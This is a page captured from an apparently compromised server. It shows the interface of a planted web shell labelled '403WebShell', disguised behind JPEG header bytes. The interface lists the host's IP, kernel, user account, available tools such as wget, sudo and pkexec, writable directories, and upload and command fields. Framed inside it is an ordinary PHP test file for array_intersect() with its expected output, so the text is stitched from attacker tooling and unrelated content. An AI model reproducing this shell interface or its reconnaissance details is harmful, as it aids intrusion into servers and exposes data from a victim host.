????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.135.209.180
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/home/b8009/php-5.6.22/ext/standard/tests/array/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/home/b8009/php-5.6.22/ext/standard/tests/array/array_intersect_variation9.phpt
--TEST--
Test array_intersect() function : usage variations - two dimensional arrays for $arr1 and $arr2 arguments(Bug#43109)
--FILE--
<?php
/* Prototype  : array array_intersect(array $arr1, array $arr2 [, array $...])
 * Description: Returns the entries of arr1 that have values which are present in all the other arguments 
 * Source code: ext/standard/array.c
*/

/*
* Testing the behavior of array_intersect() by passing 2-D arrays
* to both $arr1 and $arr2 argument. 
* Optional argument takes the same value as that of $arr1
*/

echo "*** Testing array_intersect() : passing two dimensional array to both \$arr1 and \$arr2 arguments ***\n";

// two dimensional arrays for $arr1 and $arr2 argument
$arr1 = array (
  
  // arrays with default keys
  array(1, 2, "hello", 'world'),
  array(1, 2, 3, 4),

  // arrays with explicit keys
  array(1 => "one", 2 => "two", 3 => "three"),
  array("ten" => 10, "twenty" => 20.00, "thirty" => 30)
);  

$arr2 = array (
  array(1, 2, 3, 4),
  array(1 => "one", 2 => "two", 3 => "three")
);

/* Passing the entire array as argument to $arr1 and $arr2 */
// Calling array_intersect() with default arguments
echo "-- Passing the entire 2-D array to \$arr1 and \$arr2 --\n";
echo "- With default arguments -\n";
var_dump( array_intersect($arr1, $arr2) );

// Calling array_intersect() with more arguments
// additional argument passed is the same as $arr1
echo "- With more arguments -\n";
var_dump( array_intersect($arr1, $arr2, $arr1) );

/* Passing the sub-array as argument to $arr1 and $arr2 */
// Calling array_intersect() with default arguments
echo "-- Passing the sub-array to \$arr1 and \$arr2 --\n";
echo "- With default arguments -\n";
var_dump( array_intersect($arr1[0], $arr2[0]) );

// Calling array_intersect() with more arguments
// additional argument passed is the same as $arr1
echo "- With more arguments -\n";
var_dump( array_intersect($arr1[0], $arr2[0], $arr1[0]) );

echo "Done";
?>
--EXPECTF--
*** Testing array_intersect() : passing two dimensional array to both $arr1 and $arr2 arguments ***
-- Passing the entire 2-D array to $arr1 and $arr2 --
- With default arguments -

Notice: Array to string conversion in %sarray_intersect_variation9.php on line %d

Notice: Array to string conversion in %sarray_intersect_variation9.php on line %d

Notice: Array to string conversion in %sarray_intersect_variation9.php on line %d

Notice: Array to string conversion in %sarray_intersect_variation9.php on line %d

Notice: Array to string conversion in %sarray_intersect_variation9.php on line %d

Notice: Array to string conversion in %sarray_intersect_variation9.php on line %d

Notice: Array to string conversion in %sarray_intersect_variation9.php on line %d

Notice: Array to string conversion in %sarray_intersect_variation9.php on line %d

Notice: Array to string conversion in %sarray_intersect_variation9.php on line %d

Notice: Array to string conversion in %sarray_intersect_variation9.php on line %d

Notice: Array to string conversion in %sarray_intersect_variation9.php on line %d

Notice: Array to string conversion in %sarray_intersect_variation9.php on line %d

Notice: Array to string conversion in %sarray_intersect_variation9.php on line %d

Notice: Array to string conversion in %sarray_intersect_variation9.php on line %d

Notice: Array to string conversion in %sarray_intersect_variation9.php on line %d

Notice: Array to string conversion in %sarray_intersect_variation9.php on line %d

Notice: Array to string conversion in %sarray_intersect_variation9.php on line %d

Notice: Array to string conversion in %sarray_intersect_variation9.php on line %d
array(4) {
  [0]=>
  array(4) {
    [0]=>
    int(1)
    [1]=>
    int(2)
    [2]=>
    string(5) "hello"
    [3]=>
    string(5) "world"
  }
  [1]=>
  array(4) {
    [0]=>
    int(1)
    [1]=>
    int(2)
    [2]=>
    int(3)
    [3]=>
    int(4)
  }
  [2]=>
  array(3) {
    [1]=>
    string(3) "one"
    [2]=>
    string(3) "two"
    [3]=>
    string(5) "three"
  }
  [3]=>
  array(3) {
    ["ten"]=>
    int(10)
    ["twenty"]=>
    float(20)
    ["thirty"]=>
    int(30)
  }
}
- With more arguments -

Notice: Array to string conversion in %sarray_intersect_variation9.php on line %d

Notice: Array to string conversion in %sarray_intersect_variation9.php on line %d

Notice: Array to string conversion in %sarray_intersect_variation9.php on line %d

Notice: Array to string conversion in %sarray_intersect_variation9.php on line %d

Notice: Array to string conversion in %sarray_intersect_variation9.php on line %d

Notice: Array to string conversion in %sarray_intersect_variation9.php on line %d

Notice: Array to string conversion in %sarray_intersect_variation9.php on line %d

Notice: Array to string conversion in %sarray_intersect_variation9.php on line %d

Notice: Array to string conversion in %sarray_intersect_variation9.php on line %d

Notice: Array to string conversion in %sarray_intersect_variation9.php on line %d

Notice: Array to string conversion in %sarray_intersect_variation9.php on line %d

Notice: Array to string conversion in %sarray_intersect_variation9.php on line %d

Notice: Array to string conversion in %sarray_intersect_variation9.php on line %d

Notice: Array to string conversion in %sarray_intersect_variation9.php on line %d

Notice: Array to string conversion in %sarray_intersect_variation9.php on line %d

Notice: Array to string conversion in %sarray_intersect_variation9.php on line %d

Notice: Array to string conversion in %sarray_intersect_variation9.php on line %d

Notice: Array to string conversion in %sarray_intersect_variation9.php on line %d

Notice: Array to string conversion in %sarray_intersect_variation9.php on line %d

Notice: Array to string conversion in %sarray_intersect_variation9.php on line %d

Notice: Array to string conversion in %sarray_intersect_variation9.php on line %d

Notice: Array to string conversion in %sarray_intersect_variation9.php on line %d

Notice: Array to string conversion in %sarray_intersect_variation9.php on line %d

Notice: Array to string conversion in %sarray_intersect_variation9.php on line %d

Notice: Array to string conversion in %sarray_intersect_variation9.php on line %d

Notice: Array to string conversion in %sarray_intersect_variation9.php on line %d

Notice: Array to string conversion in %sarray_intersect_variation9.php on line %d

Notice: Array to string conversion in %sarray_intersect_variation9.php on line %d
array(4) {
  [0]=>
  array(4) {
    [0]=>
    int(1)
    [1]=>
    int(2)
    [2]=>
    string(5) "hello"
    [3]=>
    string(5) "world"
  }
  [1]=>
  array(4) {
    [0]=>
    int(1)
    [1]=>
    int(2)
    [2]=>
    int(3)
    [3]=>
    int(4)
  }
  [2]=>
  array(3) {
    [1]=>
    string(3) "one"
    [2]=>
    string(3) "two"
    [3]=>
    string(5) "three"
  }
  [3]=>
  array(3) {
    ["ten"]=>
    int(10)
    ["twenty"]=>
    float(20)
    ["thirty"]=>
    int(30)
  }
}
-- Passing the sub-array to $arr1 and $arr2 --
- With default arguments -
array(2) {
  [0]=>
  int(1)
  [1]=>
  int(2)
}
- With more arguments -
array(2) {
  [0]=>
  int(1)
  [1]=>
  int(2)
}
Done

Youez - 2016 - github.com/yon3zu
LinuXploit